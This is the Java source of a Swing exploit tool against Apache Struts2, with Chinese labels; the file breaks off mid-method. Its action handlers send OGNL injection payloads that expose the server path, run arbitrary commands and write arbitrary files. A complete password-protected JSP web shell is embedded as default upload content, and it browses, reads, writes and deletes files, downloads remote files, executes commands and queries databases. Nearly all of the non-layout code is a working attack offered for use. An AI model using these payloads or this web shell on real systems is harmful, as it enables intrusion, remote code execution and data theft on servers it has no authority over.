package org.exp;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.logging.Level;
import java.util.logging.Logger;


/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/*
 * Struts2Exp.java
 *
 * Created on 2012-6-23, 16:59:38
 */
/**
 *
 * @author tom
 */
public class Struts2Exp extends javax.swing.JFrame {

    private final int buffer = 51020;
    /** Creates new form Struts2Exp */
    public Struts2Exp() {
        initComponents();
     
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
    private void initComponents() {

        jTabbedPane1 = new javax.swing.JTabbedPane();
        jPanel1 = new javax.swing.JPanel();
        jScrollPane4 = new javax.swing.JScrollPane();
        echoResult1TextPane = new javax.swing.JTextPane();
        jButton2 = new javax.swing.JButton();
        jComboBox1 = new javax.swing.JComboBox();
        jLabel4 = new javax.swing.JLabel();
        jPanel2 = new javax.swing.JPanel();
        jLabel2 = new javax.swing.JLabel();
        cmdEchoTextField = new javax.swing.JTextField();
        jScrollPane1 = new javax.swing.JScrollPane();
        cmdEchoResultTextPane = new javax.swing.JTextPane();
        jButton1 = new javax.swing.JButton();
        jPanel3 = new javax.swing.JPanel();
        jScrollPane2 = new javax.swing.JScrollPane();
        unloadContent1TextPane = new javax.swing.JTextPane();
        jLabel3 = new javax.swing.JLabel();
        uploadButton = new javax.swing.JButton();
        fileNameTextField = new javax.swing.JTextField();
        jScrollPane3 = new javax.swing.JScrollPane();
        echoResult2TextPane = new javax.swing.JTextPane();
        jPanel4 = new javax.swing.JPanel();
        jLabel5 = new javax.swing.JLabel();
        filePathTextField = new javax.swing.JTextField();
        jButton3 = new javax.swing.JButton();
        jScrollPane5 = new javax.swing.JScrollPane();
        uploadContentTextPane = new javax.swing.JTextPane();
        jPanel5 = new javax.swing.JPanel();
        jLabel6 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jButton4 = new javax.swing.JButton();
        jScrollPane6 = new javax.swing.JScrollPane();
        jTextPane1 = new javax.swing.JTextPane();
        jLabel1 = new javax.swing.JLabel();
        dstURL = new javax.swing.JTextField();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

        jScrollPane4.setViewportView(echoResult1TextPane);

        jButton2.setText("获取");
        jButton2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton2ActionPerformed(evt);
            }
        });

        jComboBox1.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "UTF-8", "GBK" }));

        jLabel4.setText("字符集：");

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane4, javax.swing.GroupLayout.DEFAULT_SIZE, 536, Short.MAX_VALUE)
                .addContainerGap())
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()
                .addGap(15, 15, 15)
                .addComponent(jLabel4)
                .addGap(18, 18, 18)
                .addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 349, Short.MAX_VALUE)
                .addComponent(jButton2)
                .addGap(21, 21, 21))
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jButton2)
                    .addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel4))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addComponent(jScrollPane4, javax.swing.GroupLayout.PREFERRED_SIZE, 350, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap())
        );

        jTabbedPane1.addTab("服务器信息", jPanel1);

        jLabel2.setText("命令：");

        cmdEchoTextField.addKeyListener(new java.awt.event.KeyAdapter() {
            public void keyPressed(java.awt.event.KeyEvent evt) {
                cmdEchoTextFieldKeyPressed(evt);
            }
        });

        cmdEchoResultTextPane.setEditable(false);
        jScrollPane1.setViewportView(cmdEchoResultTextPane);

        jButton1.setText("执行");
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 536, Short.MAX_VALUE)
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel2)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(cmdEchoTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 380, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(18, 18, 18)
                        .addComponent(jButton1)))
                .addContainerGap())
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel2)
                    .addComponent(cmdEchoTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton1))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 339, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane1.addTab("回显执行", jPanel2);

        unloadContent1TextPane.setText("<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%>\n<%!\nString Pwd=\"hbj307\";\nString EC(String s,String c)throws Exception{return s;}//new String(s.getBytes(\"ISO-8859-1\"),c);}\nConnection GC(String s)throws Exception{String[] x=s.trim().split(\"\\r\\n\");Class.forName(x[0].trim()).newInstance();\nConnection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}\nvoid AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}\nvoid BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF=\"\";java.util.Date dt;\nSimpleDateFormat fm=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());\nsT=fm.format(dt);sQ=l[i].canRead()?\"R\":\"\";sQ+=l[i].canWrite()?\" W\":\"\";if(l[i].isDirectory()){sb.append(l[i].getName()+\"/\\t\"+sT+\"\\t\"+l[i].length()+\"\\t\"+sQ+\"\\n\");}\nelse{sF+=l[i].getName()+\"\\t\"+sT+\"\\t\"+l[i].length()+\"\\t\"+sQ+\"\\n\";}}sb.append(sF);}\nvoid EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();\nfor(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}\nvoid FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();\nServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));\nos.write((\"->\"+\"|\").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write((\"|\"+\"<-\").getBytes(),0,3);os.close();is.close();}\nvoid GG(String s, String d)throws Exception{String h=\"0123456789ABCDEF\";int n;File f=new File(s);f.createNewFile();\nFileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)\n{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}\nvoid HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();\nfor(int j=0;j<z.length;j++){HH(s+\"/\"+z[j].getName(),d+\"/\"+z[j].getName());}\n}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);\nint n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}\nvoid II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}\nvoid KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\njava.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}\nvoid LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);\nHttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];\nwhile((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}\nvoid MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));\nwhile((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}\nvoid NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();\nwhile(r.next()){sb.append(r.getString(1)+\"\\t\");}r.close();c.close();}\nvoid OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={\"TABLE\"};ResultSet r=c.getMetaData().getTables (null,null,\"%\",t);\nwhile(r.next()){sb.append(r.getString(\"TABLE_NAME\")+\"\\t\");}r.close();c.close();}\nvoid PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split(\"\\r\\n\");Connection c=GC(s);\nStatement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery(\"select * from \"+x[3]);ResultSetMetaData d=r.getMetaData();\nfor(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+\" (\"+d.getColumnTypeName(i)+\")\\t\");}r.close();m.close();c.close();}\nvoid QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);\ntry{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+\"\\t|\\t\");\n}sb.append(\"\\r\\n\");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+\"\\t|\\t\");}sb.append(\"\\r\\n\");}r.close();}\ncatch(Exception e){sb.append(\"Result\\t|\\t\\r\\n\");try{m.executeUpdate(q);sb.append(\"Execute Successfully!\\t|\\t\\r\\n\");\n}catch(Exception ee){sb.append(ee.toString()+\"\\t|\\t\\r\\n\");}}m.close();c.close();}\n%><%\nString cs=request.getParameter(\"z0\")+\"\";request.setCharacterEncoding(cs);response.setContentType(\"text/html;charset=\"+cs);\nString Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter(\"z1\")+\"\",cs);String z2=EC(request.getParameter(\"z2\")+\"\",cs);\nStringBuffer sb=new StringBuffer(\"\");try{sb.append(\"->\"+\"|\");\nif(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+\"\\t\");if(!s.substring(0,1).equals(\"/\")){AA(sb);}}\nelse if(Z.equals(\"B\")){BB(z1,sb);}else if(Z.equals(\"C\")){String l=\"\";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));\nwhile((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}br.close();}\nelse if(Z.equals(\"D\")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));\nbw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.append(\"1\");}else if(Z.equals(\"F\")){FF(z1,response);}\nelse if(Z.equals(\"G\")){GG(z1,z2);sb.append(\"1\");}else if(Z.equals(\"H\")){HH(z1,z2);sb.append(\"1\");}else if(Z.equals(\"I\")){II(z1,z2);sb.append(\"1\");}\nelse if(Z.equals(\"J\")){JJ(z1);sb.append(\"1\");}else if(Z.equals(\"K\")){KK(z1,z2);sb.append(\"1\");}else if(Z.equals(\"L\")){LL(z1,z2);sb.append(\"1\");}\nelse if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);\nMM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals(\"N\")){NN(z1,sb);}else if(Z.equals(\"O\")){OO(z1,sb);}\nelse if(Z.equals(\"P\")){PP(z1,sb);}else if(Z.equals(\"Q\")){QQ(cs,z1,z2,sb);}\n}catch(Exception e){sb.append(\"ERROR\"+\":// \"+e.toString());}sb.append(\"|\"+\"<-\");out.print(sb.toString());\n%>");
        jScrollPane2.setViewportView(unloadContent1TextPane);

        jLabel3.setText("文件内容：");

        uploadButton.setText("上传");
        uploadButton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                uploadButtonActionPerformed(evt);
            }
        });

        fileNameTextField.setText("system.jsp");

        jScrollPane3.setViewportView(echoResult2TextPane);

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 546, Short.MAX_VALUE)
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 536, Short.MAX_VALUE)
                        .addContainerGap())
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 71, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(fileNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 137, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 251, Short.MAX_VALUE)
                        .addComponent(uploadButton)
                        .addGap(22, 22, 22))))
        );
        jPanel3Layout.setVerticalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(uploadButton)
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addGap(11, 11, 11)
                        .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel3)
                            .addComponent(fileNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 165, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 171, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane1.addTab("上传文件到根目录", jPanel3);

        jLabel5.setText("文件路径：");

        jButton3.setText("上传");
        jButton3.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton3ActionPerformed(evt);
            }
        });

        jScrollPane5.setViewportView(uploadContentTextPane);

        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
        jPanel4.setLayout(jPanel4Layout);
        jPanel4Layout.setHorizontalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel4Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane5, javax.swing.GroupLayout.PREFERRED_SIZE, 528, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addGroup(jPanel4Layout.createSequentialGroup()
                        .addComponent(jLabel5)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(filePathTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 353, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(18, 18, 18)
                        .addComponent(jButton3)))
                .addContainerGap(18, Short.MAX_VALUE))
        );
        jPanel4Layout.setVerticalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel4Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel5)
                    .addComponent(filePathTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton3))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 339, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane1.addTab("自定义路径上传", jPanel4);

        jLabel6.setText("文件路径：");

        jButton4.setText("上传");
        jButton4.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton4ActionPerformed(evt);
            }
        });

        jScrollPane6.setViewportView(jTextPane1);

        javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5);
        jPanel5.setLayout(jPanel5Layout);
        jPanel5Layout.setHorizontalGroup(
            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel5Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 536, Short.MAX_VALUE)
                    .addGroup(jPanel5Layout.createSequentialGroup()
                        .addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, 64, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(18, 18, 18)
                        .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 338, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton4)))
                .addContainerGap())
        );
        jPanel5Layout.setVerticalGroup(
            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel5Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel6)
                    .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton4))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 339, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane1.addTab("echo上传", jPanel5);

        jLabel1.setText("目标地址：");

        dstURL.setText("http://localhost:8080/struts2-mailreader-2.1.8/Welcome.do");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jTabbedPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 561, Short.MAX_VALUE)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(dstURL, javax.swing.GroupLayout.DEFAULT_SIZE, 496, Short.MAX_VALUE)))
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(dstURL, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addGap(41, 41, 41)
                .addComponent(jTabbedPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 418, Short.MAX_VALUE))
        );

        pack();
    }// </editor-fold>                        

    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                         
        this.cmdEchoResultTextPane.setText(this.getURLContent2(this.dstURL.getText(), this.cmdEchoTextField.getText()));
        this.cmdEchoResultTextPane.setCaretPosition(0);
    }                                        

    private void cmdEchoTextFieldKeyPressed(java.awt.event.KeyEvent evt) {                                            
       if(evt.getKeyCode() == 10)
       {
           this.jButton1ActionPerformed(null);
       }
    }                                           

    private void uploadButtonActionPerformed(java.awt.event.ActionEvent evt) {                                             
        uploadContent1(this.dstURL.getText());
    }                                            

    private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {                                         
               this.echoResult1TextPane.setText("");
        try {
            String desUrl = this.dstURL.getText();
            URL tmpUrl = new URL(desUrl);
            if(tmpUrl.getQuery()== null)
                desUrl += "?";
            else
                desUrl += "&";
            String urlStr = desUrl + "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43req.getRealPath(%22\\u005c%22))')(d))&(i99)(('\\43xman.getWriter().close()')(d))";
            this.echoResult1TextPane.setText(this.echoResult1TextPane.getText()+"网站物理路径： "+getContent(urlStr,this.jComboBox1.getSelectedItem().toString())+"\n");
        } catch (MalformedURLException ex) {
            Logger.getLogger(Struts2Exp.class.getName()).log(Level.SEVERE, null, ex);
        }
    }                                        

    private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {                                         
        try {
            String desUrl = this.dstURL.getText();
       URL tmpUrl = new URL(desUrl);
            if(tmpUrl.getQuery()== null)
                desUrl += "?";
            else
                desUrl += "&";
           // desUrl += "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getServletContext().getRealPath(%22\\u005c%22)).append(%22/"+this.fileNameTextField.getText().trim().replace(" ", "%20") +"%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&&(i5)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i6)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))";
            desUrl += "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(\\43req.getParameter(%22path%22))')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&path="+this.filePathTextField.getText().replace(" ","%20");
            
            URL url = new URL(desUrl);  
            HttpURLConnection url_con = (HttpURLConnection) url.openConnection();
            url_con.setRequestMethod("POST");
 //   System.out.println(desUrl);
            url_con.setConnectTimeout(5000);//（单位：毫秒）jdk
            // 1.5换成这个,连接超时
            url_con.setReadTimeout(5000);//（单位：毫秒）jdk 1.5换成这个,读操作超时
            url_con.setDoOutput(true);
            String post = "t="+URLEncoder.encode(this.uploadContentTextPane.getText(),
                        "UTF-8");
           // System.out.println(post);
            byte[] b = post.getBytes();
            url_con.getOutputStream().write(b, 0, b.length);
            url_con.getOutputStream().flush();
            url_con.getOutputStream().close();
             InputStream in = url_con.getInputStream();
            BufferedReader rd = new BufferedReader(new InputStreamReader(in,
                    "GBK"));
            String tempLine = rd.readLine();
            StringBuffer temp = new StringBuffer();
            String crlf=System.getProperty("line.separator");
            while (tempLine != null)
            {
                temp.append(tempLine);
                temp.append(crlf);
                tempLine = rd.readLine();
            }
            this.echoResult2TextPane.setText(temp.toString().trim());
            this.echoResult2TextPane.setCaretPosition(0);
            rd.close();
            in.close();
        } catch (Exception ex) {
            Logger.getLogger(Struts2Exp.class.getName()).log(Level.SEVERE, null, ex);
        }
    }                                        

    private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {                                         
        try {
            String desUrl = this.dstURL.getText();
            URL tmpUrl = new URL(this.dstURL.getText());
             if(tmpUrl.getQuery()== null)
                desUrl += "?";
            else
                desUrl += "&";
            desUrl += "('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\u0023rt.exec(\\43req.getParameter(%22cmd%22))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))";
            String cmd = "cmd /r echo "+this.jTextPane1.getText().replace("\"","^\"").replace("<","^<").replace(">", "^>").replace("|", "^|").replace("\n", "").replace("\r","") +" > "+this.jTextField1.getText();
            System.out.println(cmd);
            cmd = "cmd="+URLEncoder.encode(cmd,"UTF-8");
            URL url = new URL(desUrl);  
            HttpURLConnection url_con = (HttpURLConnection) url.openConnection();
            url_con.setRequestMethod("POST");
 //   System.out.println(desUrl);
            url_con.setConnectTimeout(5000);//（单位：毫秒）jdk
            // 1.5换成这个,连接超时
            url_con.setReadTimeout(5000);//（单位：毫秒）jdk 1.5换成这个,读操作超时
            url_con.setDoOutput(true);
         
           // System.out.println(post);
            byte[] b = cmd.getBytes();
            url_con.getOutputStream().write(b, 0, b.length);
            url_con.getOutputStream().flush();
            url_con.getOutputStream().close();
             InputStream in = url_con.getInputStream();
            BufferedReader rd = new BufferedReader(new InputStreamReader(in,
                    "GBK"));
            String tempLine = rd.readLine();
            StringBuilder temp = new StringBuilder();
            String crlf=System.getProperty("line.separator");
            while (tempLine != null)
            {
                temp.append(tempLine);
                temp.append(crlf);
                tempLine = rd.readLine();
            }
            this.echoResult2TextPane.setText(temp.toString().trim());
            this.echoResult2TextPane.setCaretPosition(0);
            rd.close();
            in.close();
        } catch (Exception ex) {
            Logger.getLogger(Struts2Exp.class.getName()).log(Level.SEVERE, null, ex);
        }
    }                                        

    private void uploadContent1(String desUrl)
    {
        try {
            URL tmpUrl = new URL(desUrl);
             if(tmpUrl.getQuery()== null)
                 desUrl += "?";
             else
                 desUrl += "&";
